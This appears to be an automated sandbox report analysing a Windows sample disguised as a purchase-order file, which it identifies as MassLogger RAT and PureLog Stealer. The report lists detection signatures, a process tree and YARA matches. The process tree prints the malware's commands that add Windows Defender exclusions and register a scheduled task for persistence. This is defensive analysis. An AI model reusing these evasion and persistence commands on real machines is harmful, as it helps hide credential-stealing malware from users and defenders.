Edit tour

Windows Analysis Report
RFQ_PO N89397-GM7287-Order.bat.exe

Overview

General Information

Sample name:	RFQ_PO N89397-GM7287-Order.bat.exe
Analysis ID:	1564874
MD5:	06c13587e9a7af60860cb6e2c4f3a7b2
SHA1:	238f5ddcd0193aba7b760b7ab6f3f982d73383b5
SHA256:	efd64c0b88bbe45461d13b2a0acd9544218f819f4579af35b5fc92e20d5f6fa5
Tags:	exeuser-TeamDreier
Infos:

Detection

MassLogger RAT, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected MassLogger RAT

Yara detected PureLog Stealer

Yara detected Telegram RAT

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to behave differently if execute on a Russian/Kazak computer

Creates files in the system32 config directory

Creates files inside the volume driver (system volume information)

Drops executable to a common third party application directory

Found direct / indirect Syscall (likely to bypass EDR)

Infects executable files (exe, dll, sys, html)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Enables driver privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Queries time zone information

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Spawns drivers

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

RFQ_PO N89397-GM7287-Order.bat.exe (PID: 7316 cmdline: "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe" MD5: 06C13587E9A7AF60860CB6E2C4F3A7B2)

powershell.exe (PID: 7548 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7604 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 1988 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 7640 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmpE707.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

vbc.exe (PID: 7796 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe" MD5: 0A7608DB01CAE07792CEA95E792AA866)

armsvc.exe (PID: 7848 cmdline: "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe" MD5: C0525CFD34E032B8DE30555E54329700)

alg.exe (PID: 7880 cmdline: C:\Windows\System32\alg.exe MD5: 837DCB726B9BB3B6F4FEF3318B9DEEAD)

AppVStrm.sys (PID: 4 cmdline: MD5: BDA55F89B69757320BC125FF1CB53B26)

AppvVemgr.sys (PID: 4 cmdline: MD5: E70EE9B57F8D771E2F4D6E6B535F6757)

AppvVfs.sys (PID: 4 cmdline: MD5: 2CBABD729D5E746B6BD8DC1B4B4DB1E1)

AppVClient.exe (PID: 7932 cmdline: C:\Windows\system32\AppVClient.exe MD5: A402C4C181FB483490A130C24E7F84A6)

FXSSVC.exe (PID: 8028 cmdline: C:\Windows\system32\fxssvc.exe MD5: B184A2D21BE1424241C0CC6F3EE4C667)

elevation_service.exe (PID: 8136 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe" MD5: D2EAE0B17D8ED7CE90F29615B714FC9B)

maintenanceservice.exe (PID: 8180 cmdline: "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe" MD5: 644513105C5FAA8D93951A3690E4014C)

msdtc.exe (PID: 6332 cmdline: C:\Windows\System32\msdtc.exe MD5: 2AF6C23F4C869205351AA38C5DD66D6E)

PerceptionSimulationService.exe (PID: 2688 cmdline: C:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exe MD5: 4C2FEBAD6B92DDA4F72130648DB37727)

YRtQgzFlDnVSru.exe (PID: 2648 cmdline: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe MD5: 06C13587E9A7AF60860CB6E2C4F3A7B2)

schtasks.exe (PID: 7584 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmp15E7.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

vbc.exe (PID: 3628 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe" MD5: 0A7608DB01CAE07792CEA95E792AA866)

perfhost.exe (PID: 2408 cmdline: C:\Windows\SysWow64\perfhost.exe MD5: 3A2A9E48FBD06CF338FA403E33134177)

Locator.exe (PID: 6388 cmdline: C:\Windows\system32\locator.exe MD5: E970472BE732DDA93E40BA89E643BD45)

SensorDataService.exe (PID: 4324 cmdline: C:\Windows\System32\SensorDataService.exe MD5: 02C2C736D5DC9AC9088C92AFC077A118)

snmptrap.exe (PID: 4856 cmdline: C:\Windows\System32\snmptrap.exe MD5: F35B03B0A56AB372234FE7A532455C96)

Spectrum.exe (PID: 1912 cmdline: C:\Windows\system32\spectrum.exe MD5: EA5AC5AC3ADFDE43933DEF676A6978C0)

ssh-agent.exe (PID: 7692 cmdline: C:\Windows\System32\OpenSSH\ssh-agent.exe MD5: D09CFE9983E805B17E25ED1928A06826)

TieringEngineService.exe (PID: 1516 cmdline: C:\Windows\system32\TieringEngineService.exe MD5: 85B511CA7AB5F39352DEB0D3C0A048DC)

AgentService.exe (PID: 7708 cmdline: C:\Windows\system32\AgentService.exe MD5: E46CE79404D95E10B788E99FB6C2C36E)

vds.exe (PID: 7724 cmdline: C:\Windows\System32\vds.exe MD5: 0C54A7E73768E6C53E87391113A18ADF)

wbengine.exe (PID: 2840 cmdline: "C:\Windows\system32\wbengine.exe" MD5: ADB425AC8592C2AD75F997794106A5E3)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.2696625029.000000000794C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002A.00000002.2656794908.0000000007376000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000002A.00000002.2656794908.0000000007376000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000002A.00000002.2656794908.0000000007376000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x643ae:$a1: get_encryptedPassword 0x64382:$a2: get_encryptedUsername 0x64446:$a3: get_timePasswordChanged 0x6435e:$a4: get_passwordField 0x643c4:$a5: set_encryptedPassword 0x64191:$a7: get_logins 0x6371b:$a8: GetOutlookPasswords 0x62c44:$a9: StartKeylogger 0x615a6:$a10: KeyLoggerEventArgs 0x61575:$a11: KeyLoggerEventArgsEventHandler 0x64265:$a13: _encryptedPassword
00000000.00000002.1426195581.0000000004A29000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1457423473.00000000081E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000002A.00000002.2688454630.0000000008741000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000002A.00000002.2688454630.0000000008741000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000002A.00000002.2688454630.0000000008741000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27e80:$a1: get_encryptedPassword 0x56b98:$a1: get_encryptedPassword 0x27e54:$a2: get_encryptedUsername 0x56b6c:$a2: get_encryptedUsername 0x27f18:$a3: get_timePasswordChanged 0x56c30:$a3: get_timePasswordChanged 0x27e30:$a4: get_passwordField 0x56b48:$a4: get_passwordField 0x27e96:$a5: set_encryptedPassword 0x56bae:$a5: set_encryptedPassword 0x27c63:$a7: get_logins 0x5697b:$a7: get_logins 0x271ed:$a8: GetOutlookPasswords 0x55f05:$a8: GetOutlookPasswords 0x26716:$a9: StartKeylogger 0x5542e:$a9: StartKeylogger 0x25078:$a10: KeyLoggerEventArgs 0x53d90:$a10: KeyLoggerEventArgs 0x25047:$a11: KeyLoggerEventArgsEventHandler 0x53d5f:$a11: KeyLoggerEventArgsEventHandler 0x27d37:$a13: _encryptedPassword
0000002A.00000002.2702940038.0000000009AD0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000002A.00000002.2702940038.0000000009AD0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000002A.00000002.2702940038.0000000009AD0000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22a08:$a1: get_encryptedPassword 0x229dc:$a2: get_encryptedUsername 0x22aa0:$a3: get_timePasswordChanged 0x229b8:$a4: get_passwordField 0x22a1e:$a5: set_encryptedPassword 0x227eb:$a7: get_logins 0x21d75:$a8: GetOutlookPasswords 0x2129e:$a9: StartKeylogger 0x1fc00:$a10: KeyLoggerEventArgs 0x1fbcf:$a11: KeyLoggerEventArgsEventHandler 0x228bf:$a13: _encryptedPassword
0000002A.00000002.2669298938.0000000007590000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000002A.00000002.2669298938.0000000007590000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000002A.00000002.2669298938.0000000007590000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x23910:$a1: get_encryptedPassword 0x238e4:$a2: get_encryptedUsername 0x239a8:$a3: get_timePasswordChanged 0x238c0:$a4: get_passwordField 0x23926:$a5: set_encryptedPassword 0x236f3:$a7: get_logins 0x22c7d:$a8: GetOutlookPasswords 0x221a6:$a9: StartKeylogger 0x20b08:$a10: KeyLoggerEventArgs 0x20ad7:$a11: KeyLoggerEventArgsEventHandler 0x237c7:$a13: _encryptedPassword
0000002A.00000002.2671075234.000000000791C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RFQ_PO N89397-GM7287-Order.bat.exe PID: 7316	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: vbc.exe PID: 7796	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: YRtQgzFlDnVSru.exe PID: 2648	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: vbc.exe PID: 3628	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: vbc.exe PID: 3628	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vbc.exe PID: 3628	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: vbc.exe PID: 3628	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x491d0:$a1: get_encryptedPassword 0x74359:$a1: get_encryptedPassword 0x86b4a:$a1: get_encryptedPassword 0xa4b80:$a1: get_encryptedPassword 0x491a4:$a2: get_encryptedUsername 0x7432d:$a2: get_encryptedUsername 0x86b1e:$a2: get_encryptedUsername 0xa4b54:$a2: get_encryptedUsername 0x49268:$a3: get_timePasswordChanged 0x743f1:$a3: get_timePasswordChanged 0x86be2:$a3: get_timePasswordChanged 0xa4c18:$a3: get_timePasswordChanged 0x49180:$a4: get_passwordField 0x74309:$a4: get_passwordField 0x86afa:$a4: get_passwordField 0xa4b30:$a4: get_passwordField 0x491e6:$a5: set_encryptedPassword 0x7436f:$a5: set_encryptedPassword 0x86b60:$a5: set_encryptedPassword 0xa4b96:$a5: set_encryptedPassword 0x48fbc:$a7: get_logins
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
42.2.vbc.exe.7590f08.3.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
42.2.vbc.exe.7590f08.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.7590f08.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22a08:$a1: get_encryptedPassword 0x229dc:$a2: get_encryptedUsername 0x22aa0:$a3: get_timePasswordChanged 0x229b8:$a4: get_passwordField 0x22a1e:$a5: set_encryptedPassword 0x227eb:$a7: get_logins 0x21d75:$a8: GetOutlookPasswords 0x2129e:$a9: StartKeylogger 0x1fc00:$a10: KeyLoggerEventArgs 0x1fbcf:$a11: KeyLoggerEventArgsEventHandler 0x228bf:$a13: _encryptedPassword
42.2.vbc.exe.8745570.7.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
42.2.vbc.exe.8745570.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.8745570.7.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x23910:$a1: get_encryptedPassword 0x52628:$a1: get_encryptedPassword 0x238e4:$a2: get_encryptedUsername 0x525fc:$a2: get_encryptedUsername 0x239a8:$a3: get_timePasswordChanged 0x526c0:$a3: get_timePasswordChanged 0x238c0:$a4: get_passwordField 0x525d8:$a4: get_passwordField 0x23926:$a5: set_encryptedPassword 0x5263e:$a5: set_encryptedPassword 0x236f3:$a7: get_logins 0x5240b:$a7: get_logins 0x22c7d:$a8: GetOutlookPasswords 0x51995:$a8: GetOutlookPasswords 0x221a6:$a9: StartKeylogger 0x50ebe:$a9: StartKeylogger 0x20b08:$a10: KeyLoggerEventArgs 0x4f820:$a10: KeyLoggerEventArgs 0x20ad7:$a11: KeyLoggerEventArgsEventHandler 0x4f7ef:$a11: KeyLoggerEventArgsEventHandler 0x237c7:$a13: _encryptedPassword
42.2.vbc.exe.7590000.4.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
42.2.vbc.exe.7590000.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.7590000.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21b10:$a1: get_encryptedPassword 0x21ae4:$a2: get_encryptedUsername 0x21ba8:$a3: get_timePasswordChanged 0x21ac0:$a4: get_passwordField 0x21b26:$a5: set_encryptedPassword 0x218f3:$a7: get_logins 0x20e7d:$a8: GetOutlookPasswords 0x203a6:$a9: StartKeylogger 0x1ed08:$a10: KeyLoggerEventArgs 0x1ecd7:$a11: KeyLoggerEventArgsEventHandler 0x219c7:$a13: _encryptedPassword
0.2.RFQ_PO N89397-GM7287-Order.bat.exe.6272458.3.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1bcb0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1490a0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x149720:$s3: 83 EC 38 53 B0 A5 88 44 24 2B 88 44 24 2F B0 FB 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1d98a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1d5d0:$s5: delete[] 0x1ca88:$s6: constructor or from DllMain.
0.2.RFQ_PO N89397-GM7287-Order.bat.exe.81e0000.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.8775190.5.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
42.2.vbc.exe.8775190.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.8775190.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20c08:$a1: get_encryptedPassword 0x20bdc:$a2: get_encryptedUsername 0x20ca0:$a3: get_timePasswordChanged 0x20bb8:$a4: get_passwordField 0x20c1e:$a5: set_encryptedPassword 0x209eb:$a7: get_logins 0x1ff75:$a8: GetOutlookPasswords 0x1f49e:$a9: StartKeylogger 0x1de00:$a10: KeyLoggerEventArgs 0x1ddcf:$a11: KeyLoggerEventArgsEventHandler 0x20abf:$a13: _encryptedPassword
42.2.vbc.exe.8746478.6.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
42.2.vbc.exe.8746478.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.8746478.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22a08:$a1: get_encryptedPassword 0x51720:$a1: get_encryptedPassword 0x229dc:$a2: get_encryptedUsername 0x516f4:$a2: get_encryptedUsername 0x22aa0:$a3: get_timePasswordChanged 0x517b8:$a3: get_timePasswordChanged 0x229b8:$a4: get_passwordField 0x516d0:$a4: get_passwordField 0x22a1e:$a5: set_encryptedPassword 0x51736:$a5: set_encryptedPassword 0x227eb:$a7: get_logins 0x51503:$a7: get_logins 0x21d75:$a8: GetOutlookPasswords 0x50a8d:$a8: GetOutlookPasswords 0x2129e:$a9: StartKeylogger 0x4ffb6:$a9: StartKeylogger 0x1fc00:$a10: KeyLoggerEventArgs 0x4e918:$a10: KeyLoggerEventArgs 0x1fbcf:$a11: KeyLoggerEventArgsEventHandler 0x4e8e7:$a11: KeyLoggerEventArgsEventHandler 0x228bf:$a13: _encryptedPassword
42.2.vbc.exe.8746478.6.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
42.2.vbc.exe.8746478.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.8746478.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20c08:$a1: get_encryptedPassword 0x20bdc:$a2: get_encryptedUsername 0x20ca0:$a3: get_timePasswordChanged 0x20bb8:$a4: get_passwordField 0x20c1e:$a5: set_encryptedPassword 0x209eb:$a7: get_logins 0x1ff75:$a8: GetOutlookPasswords 0x1f49e:$a9: StartKeylogger 0x1de00:$a10: KeyLoggerEventArgs 0x1ddcf:$a11: KeyLoggerEventArgsEventHandler 0x20abf:$a13: _encryptedPassword
42.2.vbc.exe.8775190.5.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
42.2.vbc.exe.8775190.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.8775190.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22a08:$a1: get_encryptedPassword 0x229dc:$a2: get_encryptedUsername 0x22aa0:$a3: get_timePasswordChanged 0x229b8:$a4: get_passwordField 0x22a1e:$a5: set_encryptedPassword 0x227eb:$a7: get_logins 0x21d75:$a8: GetOutlookPasswords 0x2129e:$a9: StartKeylogger 0x1fc00:$a10: KeyLoggerEventArgs 0x1fbcf:$a11: KeyLoggerEventArgsEventHandler 0x228bf:$a13: _encryptedPassword
42.2.vbc.exe.73b6a9e.2.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
42.2.vbc.exe.73b6a9e.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.73b6a9e.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x23910:$a1: get_encryptedPassword 0x238e4:$a2: get_encryptedUsername 0x239a8:$a3: get_timePasswordChanged 0x238c0:$a4: get_passwordField 0x23926:$a5: set_encryptedPassword 0x236f3:$a7: get_logins 0x22c7d:$a8: GetOutlookPasswords 0x221a6:$a9: StartKeylogger 0x20b08:$a10: KeyLoggerEventArgs 0x20ad7:$a11: KeyLoggerEventArgsEventHandler 0x237c7:$a13: _encryptedPassword
22.2.YRtQgzFlDnVSru.exe.36cce48.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1bcb0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1490a0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x149720:$s3: 83 EC 38 53 B0 A5 88 44 24 2B 88 44 24 2F B0 FB 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1d98a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1d5d0:$s5: delete[] 0x1ca88:$s6: constructor or from DllMain.
22.2.YRtQgzFlDnVSru.exe.3819e68.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 A5 88 44 24 2B 88 44 24 2F B0 FB 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
42.2.vbc.exe.73b6a9e.2.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
42.2.vbc.exe.73b6a9e.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.73b6a9e.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21b10:$a1: get_encryptedPassword 0x21ae4:$a2: get_encryptedUsername 0x21ba8:$a3: get_timePasswordChanged 0x21ac0:$a4: get_passwordField 0x21b26:$a5: set_encryptedPassword 0x218f3:$a7: get_logins 0x20e7d:$a8: GetOutlookPasswords 0x203a6:$a9: StartKeylogger 0x1ed08:$a10: KeyLoggerEventArgs 0x1ecd7:$a11: KeyLoggerEventArgsEventHandler 0x219c7:$a13: _encryptedPassword
42.2.vbc.exe.73b79a6.1.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
42.2.vbc.exe.73b79a6.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.vbc.exe.73b79a6.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20c08:$a1: get_encryptedPassword 0x20bdc:$a2: get_encryptedUsername 0x20ca0:$a3: get_timePasswordChanged 0x20bb8:$a4: get_passwordField 0x20c1e:$a5: set_encryptedPassword 0x209eb:$a7: get_logins 0x1ff75:$a8: GetOutlookPasswords 0x1f49e:$a9: StartKeylogger 0x1de00:$a10: KeyLoggerEventArgs 0x1ddcf:$a11: KeyLoggerEventArgsEventHandler 0x20abf:$a13: _encryptedPassword
22.2.YRtQgzFlDnVSru.exe.3819e68.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1bcb0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x149320:$s3: 83 EC 38 53 B0 A5 88 44 24 2B 88 44 24 2F B0 FB 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1d98a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1d5d0:$s5: delete[] 0x1ca88:$s6: constructor or from DllMain.
42.2.vbc.exe.7590f08.3.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
